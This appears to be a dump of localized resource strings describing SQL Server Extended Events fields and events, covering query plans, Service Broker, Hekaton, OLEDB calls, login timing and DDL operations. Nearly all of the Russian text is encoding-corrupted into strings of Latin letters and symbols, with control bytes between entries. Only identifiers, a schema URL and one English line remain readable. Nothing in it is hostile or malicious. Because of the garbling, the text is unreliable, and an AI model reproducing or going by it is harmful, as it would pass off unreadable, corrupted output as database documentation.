70?@>A><, :>B>@K9 =5 A<>3 703@C78BL ?;0= 87 E@0=8;8I0 70?@>A>2.'070 40==KE, A :>B>@>9 =0G8=0;AO >1E>4.PA!!>1KB85 ?@5@K20=8O A1>@:8 8=45:A01#:07K205B, 1K; ;8 7040= :>=5G=K9 ?5@8>4 E@0=5=8O.'8A;> A>740==KE >1KG=KE ?;0=>2.PA�5A:@8?B>@, :>B>@K9 <>65B 1KBL 8A?>;L7>20= 4;O ?>;CG5=8O XML-:>40 ?;0=0 87 48=0<8G5A:>3> 04<8=8AB@0B82=>3> ?@54AB02;5=8O dm_exec_query_plan.Q?@545;O5B, O2;O5BAO ;8 A>548=5=85 2K45;5==K< 04<8=8AB@0B82=K< A>548=5=85< (DAC).PA)45=B8D8:0B>@ >1J5:B0, A>45@60I53> 70?@>A, :>B>@K9 =5 A<>3 703@C78BL ?;0= 87 E@0=8;8I0 70?@>A>2. -B>B >1J5:B <>65B 1KBL E@0=8<>9 ?@>F54C@>9, B@8335@>< 8;8 >?@545;O5<>9 ?>;L7>20B5;5< DC=:F859. ;O =5@53;0<5=B8@>20==KE ?0:5B>2 8;8 ?>43>B>2;5==KE 8=AB@C:F89 Transact-SQL 845=B8D8:0B>@ object_id ?CAB.#>;CG5=85 8<5=8 B5:CI59 107K 40==KEQIP-04@5A C?@02;ONI53> :>;LF0, 5A;8 ?>4:;NG5=85 >ACI5AB2;O5BAO G5@57 ?@>:A8-A5@25@PA*BG5BK 4;O H030 ?>;8B8:8 157>?0A=>AB8 DDL.D8:A8@>20==K9 AG5BG8: 2PA;'8A;> >?5@0F89 70?8A8 AB@0=8FK, 8A?>;L7>20==KE 2 8=AB@C:F88b@>8AE>48B ?@8 ?@8<5=5=88 <5B:8 :;0AA8D8:0F88 40==KE : >?@545;5=8N AB>;1F0 B01;8FK (ADD 8;8 DROP).PA7$070 ?5@5AB@>5=8O :;0AB5@87>20==>3> 8=45:A0 columnstore<!@010BK205B ?@8 2KG8A;5=88 8AB>G=8:>2 4;O AB>;1F0 @57C;LB0B0T'8A;> D878G5A:8E >?5@0F89 GB5=8O AB@0=8F, 8=8F88@>20==KE C40;5==K< 2K7>2>< ?@>F54C@.45=B8D8:0B>@ AB0@>9 >1;0AB8.*#:07K205B =0 =0G0;> >1@01>B:8 B5:AB0 JSON.P?5@0B>@ "1>;LH5 8;8 @02=>" <564C 42C<O AB@>:>2K<8 7=0G5=8O<8 2 D>@<0B5 SQL ANSI=@5<O (2 <8:@>A5:C=40E), 70B@0G5==>5 =0 2K?>;=5=85 0:B820F88.PA"45=B8D8:0B>@ 87<5=5==>3> 8=45:A0.�>4 O7K:0, >1=0@C65==K9 ?@8 A5<0=B8G5A:>9 8=45:A0F88 AB0B8AB8G5A:>9 O7K:>2>9 <>45;8, >:070;AO =081>;55 ?>4E>4OI8< 4;O 40==>3> 4>:C<5=B0.+>@O4:>2K9 =><5@ ?>4B25@645=8O 2 A>>1I5=88.$'8A;> AB@>:, 70B@>=CBKE 8=AB@C:F859.PA/5@2K9 ?>;C109B EMH0 ?0@>;O ?>;L7>20B5;O SHA256G59AB285 :>=5G=>3> 02B><0B0 4>AB02:8 ?5@540G8 :><?>=5=B0 Service Broker+!>AB>O=85 480;>30 :><?>=5=B0 Service BrokerPA"8?K A1>52 D>=>2>3> 7040=8O�@>8AE>48B, 5A;8 ?0@0<5B@ TRCFLG_TEMP_STRETCH_SIGNAL_INITIALIZE_DSO_COMPLETE 2:;NG5= 8 >48= 87 MB0?>2 (8=8F80;870F8O DSO 2> 2@5<O C40;5==>3> ?>4:;NG5=8O) 7025@H5=.`0AHB01 =0G0;L=>3> AB>;1F0 CA;>28O A>548=5=8O, 5A;8 MB> CA;>285 C:070=>.  ?@>B82=>< A;CG05�  0.%>?>;=8B5;L=>5 A>>1I5=85 4;O ?@>25@:8PAL@>8AE>48B ?@8 2>7=8:=>25=88 8A:;NG5=8O 2> 2@5<O >1@01>B:8 >1J5:B>2 ?5@540G8H>7=8:05B ?@8 ?>?040=88 2 B>G:C 4>ABC?0 ?@>25@:8 ?>;=>B5:AB>2>3> 8=45:A0DB25B =0 70?@>A ?>B>:>2>3> 4>ABC?0 D09;>2>3> 22>40-2K2>40 FILESTREAM##:07K205B B8? 2K?>;=O5<>3> :C@A>@0.5@5<O (2 <8:@>A5:C=40E) A <><5=B0 2E>40 ?>;L7>20B5;O.K>7=8:05B, 5A;8 >1J5:B 1K; A>740= A ?><>ILN 8=AB@C:F88 CREATE. -B> A>1KB85 2>7=8:05B 42064K 4;O :064>9 >?5@0F88 CREATE. -B> A>1KB85 2>7=8:05B, :>340 >?5@0F8O =0G8=05BAO 8 :>340 >?5@0F8O ;81> >B:0BK205BAO, ;81> D8:A8@C5BAO. >102LB5 459AB285 nt_username 8;8 server_principal_name 2 MB> A>1KB85, GB>1K >?@545;8BL, :B> 87<5=8; >1J5:B.<BA;568205B 87<5=5=8O 2 ?0@0<5B@0E 02B><0B8G5A:>9 =0AB@>9:8.5'8A;> AB@>:, 2>72@0I5==KE C40;5==K< 2K7>2>< ?@>F54C@.8#:07K205B, 7040= ;8 ?@548:0B 4;O 8=AB@C:F88 DDL B01;8FK.5@A8O TDS 4;O 4@0925@0 :;85=B0DGUID 8=AB@C:F88 2 ?0:5B5 T-SQL, >B?@02;O5<>< ?>;L7>20B5;5< 2 SQL�FE.PAQ!@010BK205B ?@8 2K?>;=5=88 70?@>A0 A USE HINT Query_Optimizer_Compatibility_Level	><5= NT.7!>1@0BL 845=B8D8:0B>@ >?5@0B>@0 @0A?@545;5==>3> 70?@>A0PA<O AE5<K 2=5H=59 B01;8FK..@5<O A>740=8O 2K?>;=O5<>3> @01>G53> M;5<5=B0.K<O >1J5:B0, ?>;CG5==>3> 87 :MH0. 0?>;=O5BAO, 5A;8 ?>;5 cached_text ?CAB>.PA15 2KG8A;OBL AB0B8AB8:C ?>2B>@=> (2:;. 8;8 >B:;.)2K405B 2K@065=85, 2;8ONI55 =0 2K1>@ ?;0=0 70?@>A0.PA)!>>1I05B > =0G0;5 A>740=8O :>40 ?5@5=>A0.�>7=8:05B, 5A;8 ?>43>B>2;5==0O 8=AB@C:F8O Transact-SQL 1K;0 C40;5=0 (?>43>B>2:0 >B<5=5=0) :><?>=5=B>< SqlClient, ODBC, OLE DB 8;8 DB-Library.b45=B8D8:0B>@ GUID, ?@54=07=0G5==K9 4;O <5B@8:8 8A?>;L7>20=8O . = C:07K205B @>;L 4;O O4@0 !#.J=CB@5==89 >?5@0B>@, >?@545;5==K9 2 2KE>4=>< 45@525 (>B=>A8BAO : <0B@8F5).+!>18@05B 40==K5 4;O >?5@0F8>==>9 0=0;8B8:8.�5;>:0;87>20==>5, ?>=OB=>5 ?>;L7>20B5;N 8<O CAB0@52H59 DC=:F88, 2K7202H59 A>1KB85. -B0 CAB0@52H0O DC=:F8O 1C45B C40;5=0 2 1C4CI8E 25@A8OE SQL Server, => =5 2 A;54CNI5< >A=>2=>< 2K?CA:5.'45=B8D8:0B>@ @538>=0 28@BC0;L=>9 A5B8.{@>8AE>48B, :>340 <>4C;L Hekaton >1=0@C68205B :>=AB@C:B82=K9 H01;>=, :>B>@K9 <>65B =5=0<5@5==> ?@825AB8 : 70<54;5=8N @01>BK`=0;8B8G5A:89 70?@>A, ?@8=C48B5;L=> ?@8<5=5==K9 C:070=85< 8;8 :>=D83C@0F859 >1;0AB8 107K 40==KE.?0G0;L=>5 A<5I5=85 8=AB@C:F88, ?;0= :>B>@>9 4>;65= 1KBL ?>;CG5=PA'0?CA:05BAO ;8 70?@>A 2 @568<5 Hekaton.PA1I55 G8A;> 2K1>@>: ?;0=>2^A5 D09;K 4;O A53<5=B0 107K 40==KE A>740=K, A2545=8O > ?5@28G=>< D09;5 4>102;5=K 2 <5B040==K5.�!@010BK205B, 5A;8 70?@>AC =5 C405BAO 703@C78BL ?@8=C48B5;L=K9 ?;0= 87 E@0=8;8I0 70?@>A>2. @8=C48B5;L=0O ?>;8B8:0 ?@8<5=OBLAO =5 1C45B%MH ?>AB02I8:0 SSL0><5B:0 D;03>< ?@8 ?>2B>@=>9 :><?8;OF88 70?@>A0.X<O >1J5:B0, ?>8A: :>B>@>3> 2K?>;=O;AO 2 :MH5. 0?>;=O5BAO, 5A;8 ?>;5 object_name ?CAB>.Z"8? @01>G53> ?@>F5AA0 ADAL, 8A?>;L7C5<>3> :;85=B><, 8A?>;L7CNI8< ?>4:;NG5=85 fedauth ADAL.A@8G8=K 1;>:8@>2:8 2AB@0820=8O A:0;O@=>9 ?>;L7>20B5;LA:>9 DC=:F88PA)#:07K205B B8? >?5@0F88, 2K7202H59 A>1KB85�>7=8:05B ?@8 70?CA:5 70?@>A0 BEGIN TRANSACTION, >B?@02;5==>3> 87 :;85=BA:>3> ?@8;>65=8O G5@57 8=B5@D59A C?@02;5=8O B@0=70:F8O<8.'#40;5==K9 2K7>2 ?@>F54C@ (RPC) 7025@H5=PAU!@010BK205B ?@8 7025@H5=88 70?@>A0 =0 ?>;CG5=85 A2545=89 > A>AB>O=88 2=5H=59 B01;8FK.PA3=0G5=85 HResult. 2>72@0I5==>5 8=8F80;870F859 OLEDB2@5<O (2 <8:@>A5:C=40E) A <><5=B0 70?CA:0 7040=8O.PA"01;8F0 1K;0 ?5@5=5A5=0PA0#:07K205B =><5@ >H81:8, 5A;8 >H81:0 8<5;0 <5AB>.!>AB>O=85 :><?>=5=B00A?>;L7>20=85 ?0<OB8 :C@A>@0 48A?5BG5@0 :C@A>@>2T;8=0 B8?0, 5A;8 >=0 C:070=0, 2 ?@>B82=>< A;CG05�  0. 0?@8<5@, 20 4;O nvarchar(20).:#:07K205B B8? >H81:8, ?@>87>H54H59 ?@8 2K?>;=5=88 7040=8O.v"5:AB Transact-SQL, 4>102;5==K9 2 :MH. -B> ?>;5 70?>;=O5BAO B>;L:> 4;O =5@53;0<5=B8@>20==KE 8 ?>43>B>2;5==KE 70?@>A>2.1 >1J5:B0, :C40 =C6=> 2K?>;=8BL >B<5=C <83@0F88.PAP#:07K205B 2@5<O & (2 <8:@>A5:C=40E), 70B@0G5==>5 ?>;L7>20B5;5< 2 B5G5=85 A50=A0&<O A5@25@0, C:070==>5 2 70?8A8 2E>40.*'8A;> AB@>:, C40;5==KE 87 B01;8FK 6C@=0;0.!>AB>O=85 8A:;NG5=8O.PAA-B> A>1KB85 A>7405BAO ?@8 A1>5 ?>8A:0 ?@>25@:8 ?>4;8==>AB8 xodbc.-!>>1I05B > =0G0;5 A>740=8O C40;5==>9 B01;8FK.5"01;8F0, 4;O :>B>@>9 ?@>872>48;>AL ?5@5<5I5=85 AB@>:.'59AB28O ?>4?8A:8 C254><;5=8O > 70?@>A5:<O 8=AB@C:F88, 2K?>;=O5<>9 ?@8 C40;5==>< 2K7>25 ?@>F54C@.B#:07K205B B8? 459AB28O, 2K?>;=O5<>3> =04 ?>4?8A:>9 =0 C254><;5=8O.u>;CG5=85 845=B8D8:0B>@0 sql_handle 4;O B5:CI53> ?0:5B0 A =><5@>< AB@>:8, A<5I5=8O<8 8=AB@C:F88 8 C@>2=5< 2;>65==>AB8F'8A;> ;>38G5A:8E >?5@0F89 GB5=8O AB@0=8F, 8A?>;L7>20==KE 2 8=AB@C:F88..<O A;C61K, :>B>@>9 1K;> >B?@02;5=> A>>1I5=85.PA30G0;> ?;0=0 8A?>;=5=8O :C@A>@0 48A?5BG5@0 :C@A>@>295@20O G0ABL 8<5=8 A5@25@0, AB>OI0O 4> 70?OB>9 8;8 B>G:8.�>7=8:05B ?@8 2K?>;=5=88 70?@>A0 =0 703@C7:C A1>@:8. A?>;L7C9B5 MB> A>1KB85 4;O CAB@0=5=8O =5?>;04>: 2 70?@>A0E, 70?CA:0NI8E :>4 A@54K CLR 4;O >BA;56820=8O A2545=89 > A5@25@5, 1075 40==KE 8;8 ?>;L7>20B5;5, >B=>AOI8EAO : 703@C7:5 A1>@:8.�>?>;=8B5;L=K5 A2545=8O, ?>;57=K5 4;O B>G=>3> >?@545;5=8O =502B>=><=>3> 8A?>;L7>20=8O. 0?@8<5@, 8A?>;L7>20==>5 B@5E- 8;8 G5BK@5E:><?>=5=B=>5 8<O.?#:07K205B, CA?5H=> ;8 1K; 2K?>;=5= 70?@>A ROLLBACK TRANSACTION.;"5:AB>2>5 A>>1I5=85 >1 >H81:5 8;8 8=D>@<0F8>==>5 A>>1I5=85.4><5@ >H81:8 4;O ;N1>9 >H81:8, A2O70==>9 A 70?@>A><.6=0G5=85 HResult, 2>72@0I5==>5 2K7>2>< DC=:F88 API UALHXML-4>:C<5=B, >?8AK20NI89 AB0B8AB8:C 2K?>;=5=8O ?>;=>B5:AB>2>3> 70?@>A0.PA�>7=8:05B ?@8 70?CA:5 70?@>A0 PROMOTE TRANSACTION, >B?@02;5==>3> 87 :;85=BA:>3> ?@8;>65=8O G5@57 8=B5@D59A C?@02;5=8O B@0=70:F8O<8.*59AB285 480;>30 :><?>=5=B0 Service BrokerPA}!:>;L:> @07 8A?>;L7>20;>AL C:070=85 70?@>A0 4;O >F5=:8 :@0B=>AB8 ?> C<>;G0=8N (4;O B5:CI53> C@>2=O A>2<5AB8<>AB8 107K 40==KE)PA>"8? <>4C;O, A>45@60I53> 8=AB@C:F8N, 2K?>;=5=85 :>B>@>9 =0G0B>.)0E>48BAO ;8 A>1KB85 2 =0G0;5 8;8 2 :>=F5PA8!>1@0BL 845=B8D8:0B>@ ?@>F5AA>@0 @0A?@545;5==>3> 70?@>A0H!>>1I05B > 2K?>;=5=88 :><0=4K ALTER DATABASE SET REMOTE_DATA_ARCHIVE ON.�A;8 7040=> 7=0G5=85 1, collect_correlation_ids 2:;NG05B A1>@ 40==KE correlation_ids. > C<>;G0=8N AB>;15F correlation_ids =5 A>7405BAO.�:;NG5=K D;038 B@0AA8@>2:8 2312 8 9481, GB>1K ?>?KB0BLAO 70AB028BL >4=>2@5<5==> 8A?>;L7>20BL 8 AB0@K9 8 =>2K9 20@80=BK >F5=:8 :>;8G5AB20 M;5<5=B>2. $;038 B@0AA8@>2:8 1K;8 ?@>?CI5=K. B:;NG8B5 >48= 87 D;03>2 B@0AA8@>2:8 ;81> >10 D;030.>>=5G=>5 A<5I5=85 8=AB@C:F88, ?;0= :>B>@>9 4>;65= 1KBL ?>;CG5=e@5<O (2 <8:@>A5:C=40E), 8A?>;L7C5<>5 B@8335@>< LOGON 8;8 DC=:F859-:;0AA8D8:0B>@>< Resource Governor.0?@>H5==K9 B8? 40<?0@5<O & (<A).�@>8AE>48B ?@8 CA?5H=>< A>548=5=88 A A5@25@><. -B> A>1KB85 ?@>8AE>48B 4;O =>2KE A>548=5=89 8;8 ?@8 ?>2B>@=>< 8A?>;L7>20=88 A>548=5=8O 87 ?C;0 A>548=5=89..>7=8:05B ?@8 70?CA:5 8=AB@C:F88 Transact-SQL.PA6#:07K205B =0 D07C >?5@0F88 >B@01>B:8 >B:070 HADRON DDL�>7=8:05B, 5A;8 E@0=8<0O ?@>F54C@0 ?>;CG5=0 87 :MH0 ?@>F54C@. A?>;L7C9B5 MB> A>1KB85 2<5AB5 A 4@C38<8 A>1KB8O<8 sp_cache_* 4;O CAB@0=5=8O ?@>1;5<, A2O70==KE A :MH5< ?@>F54C@.K@>8AE>48B, :>340 >F5=:0 G8A;0 M;5<5=B>2 4;O 70?@>A0 2:;NG0;0 ?@54?>;>65=85u@>8AE>48B ?@8 2K?>;=5=88 ?0:5B0 Transact-SQL, A>740==>3> 4;O :>=:@5B=>9 A8BC0F88 8 =5 A>45@60I53>AO 2 :MH5 70?@>A>2.PA0?@545;O5B, A>45@68BAO ;8 MB> 2 8<5=8 4;O 2E>40.E!1>9 4>ABC?0 : >?5@0F8O< ?>B>:>2>3> 22>40-2K2>40 4;O D09;0 FILESTREAMR 07<5@ 2K1>@:8 (2 ?@>F5=B0E >B >1I53> G8A;0 AB@0=8F), 8A?>;L7C5<K9 4;O >1=>2;5=8O.PA&45=B8D8:0B>@ <>48D8F8@>20==>9 AB@>:8.>8B>2K9 25:B>@, A>45@60I89 C:070==K5 ?0@0<5B@K 2>AAB0=>2;5=8O.P@>8AE>48B, :>340 :><?>=5=B Service Broker A>7405B 8;8 C40;O5B 3@C??C A>>1I5=89./@5<O ?@>25@:8 ?>4;8==>AB8 SSL 2 <8:@>A5:C=40E.PA-!>1@0BL 845=B8D8:0B>@ @0A?@545;5==>9 >B?@02:8IGUID >4=>3> 70?@>A0 =0 2=5H=85 2KG8A;5=8O, >B?@02;O5<>3> 87 SQL�FE 2 DQP.:>;CG5=85 845=B8D8:0B>@0 ?C;0 @5AC@A>2 4;O B5:CI53> A50=A03>?>;=8B5;L=>5 A>>1I5=85 >1 8A?>;L7>20=88 ?>4A:07:87>7=8:05B ?@8 =5=>@<0;L=>< 7025@H5=88 D>=>2>3> 7040=8O.*07>2K9 845=B8D8:0B>@ >1J5:B0 4;O 8=45:A0.|A;8 7040=> 7=0G5=85 1, collect_plan_handle 2:;NG05B A1>@ 40==KE plan_handle. > C<>;G0=8N AB>;15F plan_handle =5 A>7405BAO.P!>>1I05B >1 >H81:5 8;8 CA?5H=>< 7025@H5=88 ?5@5<5I5=8O =5A:>;L:8E ?0:5B>2 AB@>:.K45=B8D8:0B>@ 107K 40==KE, 2 :>B>@>9 =0E>48BAO >1J5:B, >1=0@C65==K9 2 :MH5.#:07K205B D07C >?5@0F88 DDLk>7=8:05B ?@8 87<5=5=88 DC=:F88 <0A:8@>20=8O 40==KE 4;O >?@545;5=8O AB>;1F0 B01;8FK (ADD, CHANGE 8;8 DROP).PA"5:AB 8=AB@C:F88.PA2!>1@0BL 845=B8D8:0B>@ @0A?@545;5==>3> ?;0=8@>2I8:0<7 :MH0 @07@5H5=89 >1J5:B>2 :MH0 157>?0A=>AB8 C40;5= >1J5:B.�>7=8:05B ?@8 ?>2B>@=>9 :><?8;OF88 ?;0=0 2K?>;=5=8O, A>45@60I53> :C@A>@. A?>;L7C9B5 MB> A>1KB85 4;O 4803=>AB8:8 ?@>1;5< A ?@>872>48B5;L=>ABLN :C@A>@0.PA-#@>25=L A5@L57=>AB8 >B:;NG5=8O, 5A;8 >= 5ABL.PA.#40;8BL 70?@>A Polybase 87 B01;8FK 02B>@870F88�>7=8:05B, 5A;8 <>=8B>@ >G5@548 :><?>=5=B0 Service Broker 70?CA:05B E@0=8<CN ?@>F54C@C 0:B820F88 8;8 >B?@02;O5B C254><;5=85 QUEUE_ACTIVATION, 0 B0:65 ?> 7025@H5=88 E@0=8<>9 ?@>F54C@K 0:B820F88.&0?CA: ?5@5=>A0 107K 40==KE 8 >1J5:B0.PA�XML-4>:C<5=B, A>45@60I89 A2545=8O >1 >?@545;5==KE 459AB28OE, 2K?>;=O5<KE =04 B01;8F59 ?0@0<5B@>2. >:C<5=B A>>B25BAB2C5B AE5<5, ?@82545==>9 ?> 04@5AC http://go.microsoft.com/fwlink/?LinkId=63331.F0?8A0==K9 :>;LF52>9 1CD5@ :;85=B0 :>=B@>;;5@0 :;0AB5@0 1>;LH8E 40==KEPAL"8? A>1KB8O 687=5==>3> F8:;0 ?0<OB8 4;O A50=A0 (2K45;5=85 8;8 >A2>1>645=85).5><5@ D@03<5=B0 A>>1I5=8O, A>45@60I53> ?>4B25@645=85.�A;8 7040=> 7=0G5=85 1, collect_transaction_id 2:;NG05B A1>@ 40==KE transaction_id. > C<>;G0=8N AB>;15F transaction_id =5 A>7405BAO.$>4 A>AB>O=8O >H81:8, 2K7202H59 A1>9q@>8AE>48B ?@8 2K7>25 A5@25@>< SQL Server ?>AB02I8:0 OLEDB 4;O 2K?>;=5=8O @0A?@545;5==>3> 70?@>A0 8;8 C40;5==>9 E@0=8<>9 ?@>F54C@K. A?>;L7C9B5 MB> A>1KB85 4;O =01;N45=8O 70 2K7>20<8 OLEDB, :>B>@K5 =5 2>72@0B8;8 40==K5 8;8 =5 8A?>;L7CNB <5B>4 QueryInterface. -B> A>1KB85 1C45B 8=8F88@>20=> 42064K 4;O :064>3> 2K7>20 OLEDB: >48= @07 ?@8 70?CA:5 8 >48= @07 ?@8 7025@H5=88PA4@>8AE>48B ?@8 >1=0@C65=88 C:070==>3> B8?0 >?5@0B>@09>7=8:05B ?@8 A>740=88 A50=A0 @0AH8@5==KE A>1KB89. 'B>1K 871560BL 2>7=8:=>25=8O ?>2B>@ONI8EAO (8;8 2B>@8G=KE) A>1KB89 existing_connection ?@8 70?CA:5 A50=A>2 @0AH8@5==KE A>1KB89, @5:><5=4C5BAO 2A5340 8A?>;L7>20BL MB> A>1KB85 A> A;54CNI8< ?@548:0B><: WHERE started_event_session_name = "8<O_20H53>_A50=A0_A>1KB8O".&3=>@8@>20BL :;NG DUP (2:;. 8;8 >B:;.)PA9?@545;O5B, CA?5H=> ;8 7025@H8;>AL >1=>2;5=85 AB0B8AB8:8.PA#;8B5;L=>ABL 2E>40 2 <8:@>A5:C=40E.PA><5@ AB@>:8 8=AB@C:F88.D >;L M:75<?;O@0 :><?>=5=B0 Service Broker, ?>4B25@482H53> A>>1I5=85..<O 107K 40==KE, A>45@60I59 87<5=O5<K9 >1J5:B.'=AB@C:F8O E@0=8<>9 ?@>F54C@K 7025@H5=0<O B01;8FK.PA,@8G8=K >B:;NG5=8O 2K?>;=5=8O A G5@54>20=85<645@52> @57C;LB0B>2 (?@><56CB>G=KE) >?B8<870F88 70?@>A0-?8A0=85 >1=0@C65==>3> ?>2@5645=8O A>>1I5=8O.>#:07K205B 8<O CG5B=KE 40==KE 107K 40==KE 4;O C40;5==>3> 2E>40.�!@010BK205B ?5@8>48G5A:8 8 ?>:07K205B, A:>;L:> @07 >?B8<870B>@ 70?@>A>2 8A?>;L7>20; 25@A88 A @07=>9 >F5=:>9 :@0B=>AB8 A <><5=B0 A@010BK20=8O ?@>H;>3> A>1KB8O.PAT-B> A>1KB85 A>7405BAO, :>340 70?CA:05BAO 7040G0, >G8I0NI0O :MH ?@>25@:8 ?>4;8==>AB8.�@>8AE>48B, :>340 >?B8<870B>@ 70?@>A>2 >1=0@C68205B 25@>OB=>5 ?@52KH5=85 >1J5<0 ?0<OB8 ?@8 03@530F88 2 ?0:5B=>< @568<5 8 ?KB05BAO @0745;8BL 03@530F8N =0 =5A:>;L:> 03@530F89 <5=LH53> @07<5@0.+1I55 2@5<O, 70B@0G5==>5 =0 >1@01>B:C 2E>40"8? 8A:;NG5=8O.5<O :;85=BA:>3> :><?LNB5@0, C:070==>5 2 70?8A8 2E>40.PA:<O 4;O 2E>40, A2O70==>5 A 70?@>A>< 2E>4OI53> ?>4:;NG5=8O.&#:07K205B, <>6=> ;8 ?@>?CAB8BL A25@:C.�?@545;O5B, 1K;0 ;8 7025@H5=0 >G8AB:0 ?0:5B0.  A;CG05 >G8AB:8 ?0:5B0 A50=A CA?5H=> 2>AAB0=02;8205BAO ?>A;5 ?>2B>@=>3> ?>4:;NG5=8O=!>>1I05B > 7025@H5=88 A>740=8O :>40 4;O ?5@5=5A5==>9 B01;8FK.b!83=0;878@C5B > B><, GB> ?>2B>@=0O 02B>@870F8O ?>;CG8;0 <>=>?>;L=CN 1;>:8@>2:C =0 @5AC@A5 ?5@5=>A0070 40==KE 4;O B01;8FK.PA-<O 3@C??K @5AC@A>2, 8A?>;L7C5<>9 4;O ?>8A:0.PA.%MH 70?@>A0 4;O ;>:0;L=> 2K?>;=O5<>3> 70?@>A0.;B45;L=K9 A53<5=B 107K 40==KE A>7405BAO 2 ;>:0;L=>< <>4C;5.@>@O4:>2K9 =><5@ 2 480;>35 A>>1I5=8O, A>45@60I53> ?>4B25@645=85.PAA;8 7040=> 7=0G5=85 1, collect_options_text 2:;NG05B A1>@ 40==KE options_text. > C<>;G0=8N AB>;15F options_text =5 A>7405BAO.PA*><5@ D@03<5=B0 ?>4B25@645=8O 2 A>>1I5=88.f!>2>:C?=>5 2@5<O <564C =5A:>;L:8<8 2K7>20<8 2 WriteAsync 8 WriteHandler ?@8 4>102;5=88 ?>AB02I8:0 SSPI:;8B5;L=>ABL ?@>A<>B@0 SID CG5B=>9 70?8A8 2 <8:@>A5:C=40E.0?8AL 2 6C@=0; >H81>:E>7=8:05B, :>340 >?B8<870B>@ =5 <>65B 8A?>;L7>20BL >BD8;LB@>20==K9 8=45:A 87-70 ?0@0<5B@870F88.  ;O :064>3> B0:>3> 8=45:A0 0:B82878@C5BAO A>1KB85.  >;O unmatched_database_name, unmatched_schema_name, unmatched_table_name, unmatched_index_name A>45@60B A2545=8O >1 >BD8;LB@>20==>< 8=45:A5, :>B>@K9 =5 <>65B 1KBL 8A?>;L7>20=.PA8>7=8:05B, :>340 :MH A50=A0 AB0=>28BAO =5459AB28B5;L=K<.""8? 8=AB@C:F88 SQL 4;O 107K 40==KE8@5<O 2 <8:@>A5:C=40E, 70B@0G5==>5 =0 7025@H5=85 ?0:5B0.�>7=8:05B ?@8 7025@H5=88 70?@>A0 ROLLBACK TRANSACTION, >B?@02;5==>3> 87 :;85=BA:>3> ?@8;>65=8O G5@57 8=B5@D59A C?@02;5=8O B@0=70:F8O<8.S EMH-B01;8FC M:75<?;O@0 1@>:5@0 4>102;5= =>2K9 M:75<?;O@ :><?>=5=B0 Service Broker!>AB>O=85 >H81:8 SqlException.,0?8AL 2 :>;LF52>9 1CD5@ >H81>: 157>?0A=>AB8F>7=8:05B, :>340 RelOp_Get 70<5=O5BAO ?@8 ?5@570?8A8 70?@>A0 ?5@5=>A0."!B5?5=L ?0@0;;5;87<0 4;O >?5@0F88.%>@O4:>2K9 =><5@ A>>1I5=8O 2 480;>35.5:;NG8;8 ;8 <K 157CA;>2=> ?@028;0 ?0:5B=>9 >1@01>B:8?B45=B8D8:0B>@ E@0=8<>9 ?@>F54C@K, ?>8A: :>B>@>9 2K?>;=O;AO 2 :MH5.> 07<5@ 2 109B0E A5B52>3> ?0:5B0, 8A?>;L7C5<>3> 4;O A>548=5=8O.E0H;8 ;8 <K ?5@A?5:B82=>5 N-0@=>5 ?@8A>548=5=85 2> 2E>4=>< 2K@065=88?PA2!B@>:0 A B8?0<8 C:070=89 A @0745;8B5;O<8-70?OBK<8.>4 A>AB>O=8O >H81:8[!>>1I05B > 7025@H5=88 C40;5==>3> 2K?>;=5=8O 4;O AD>@<8@>20==>3> :>40 ?5@5=5A5==>3> AB>;1F0.) 1I0O AB>8<>ABL 83=>@8@C5<KE >?5@0B>@>2.#:070B5;L :>=B5:AB0 2K?>;=5=8OA;8B5;L=>ABL >?@>A0 ?>;L7>20B5;LA:>3> M:75<?;O@0 2 <8:@>A5:C=40E.}>7=8:05B, :>340 ?>?KB:0 ?>;CG8BL 3;>10;L=CN 1;>:8@>2:C 8A?>;L7C5BAO ?5@54 ?>?KB:>9 A>740BL 3;>10;L=K9 >1J5:B IDataInitializeb5@5405B 40==K5 > 7025@H5=88 2K?>;=5=8O A:@8?B0 ?5@5=>A0 2> 2@5<O >1@01>B:8 7040G8 ?5@5=>A0 AE5<K.1@>8AE>48B ?@8 :><?8;OF88 8=AB@C:F88 BULK INSERT.)#:07K205B A>AB>O=85 >1=>2;5=8O AB0B8AB8:8I@>8AE>48B ?@8 70?CA:5 >1=>2;5=8O 2A5E ?@54AB02;5=89 <><5=B0;L=KE A=8<:>2L$;03, C:07K20NI89, 1K;8 ;8 C40;5=K 2A5 40==K5 A ?@52KH5==K< A@>:>< E@0=5=8O.P>7=8:05B, :>340 >?B8<870B>@ ?>;CG05B H;N7 ?0<OB8 A@54=53> 8;8 1>;LH>3> @07<5@0.PA."8? 8=AB@C:F88, 4;O :>B>@>3> ?>2KH0NBAO ?@020.5!>>1I05B > =0G0;5 >B<5=K ?>43>B>2:8 ?5@5=>A0 B01;8FK.PAU!>>1I05B > 7025@H5=88 C40;5==>3> 2K?>;=5=8O A>740==>3> :>40 4;O ?5@5=5A5==>9 B01;8FK.PA*07>2K9 845=B8D8:0B>@ >1J5:B0 4;O AB>;1F0.$@>8AE>48B ?@8 2K7>25 Hekaton MATGen&"5:AB 2K?>;=5==>3> ?0:5B0 Transact-SQLS0?CA:05BAO ?5@54 2K?>;=5=85< E@0=8<>9 ?@>F54C@K, :><?8;8@C5<>9 2 A>1AB25==>< :>45.P=0G5=85 2@5<5=8 >6840=8O A =87:8< ?@8>@8B5B><, 8A?>;L7C5<>5 4;O A1>@:8 8=45:A0.�@>8AE>48B ?@8 70?CA:5 70?@>A0 ROLLBACK TRANSACTION, >B?@02;5==>3> 87 :;85=BA:>3> ?@8;>65=8O G5@57 8=B5@D59A C?@02;5=8O B@0=70:F8O<8.9<O :><?>=5=B0 Service Broker, 8=8F88@>202H53> A>>1I5=85.PA#45=B8D8:0B>@ ?5@5=>A8<>3> >1J5:B0.PA>=5G=>5 A<5I5=85 8=AB@C:F88.PASCollects the SID of the Server Prinicipal in whose context the event is being firedPA2=0G5=85 true, 5A;8 >?5@0F8O O2;O5BAO 0A8=E@>==>9.O>7=8:05B ?@8 2K7>25 E@0=8<>9 ?@>F54C@K sp_repl_generateevent. -B> A>1KB85 O2;O5BAO 2=CB@5==8< A>1KB85< repl 4;O B@0AA8@>2:8 E@0=8<KE ?@>F54C@ repl. 0==K5, 2>72@0I05<K5 87 A>1KB8O user_event, 2:;NG0NB 845=B8D8:0B>@ event_id, C:070==K9 ?@8 2K7>25 E@0=8<>9 ?@>F54C@K sp_repl_generateevent. -B> <>65B 1KBL 7=0G5=85 2 480?07>=5 >B x 4> y.PAD@5<O & (2 <8:@>A5:C=40E), 70B@0G5==>5 2K7>2>< C40;5==>9 ?@>F54C@K.0!>1@0BL 845=B8D8:0B>@ @0A?@545;5==>3> 2K?>;=5=8Oy@5<O 2 <8;;8A5:C=40E, :>B>@>5 ?>B@51>20;>AL D>=>2>9 7040G5 4;O 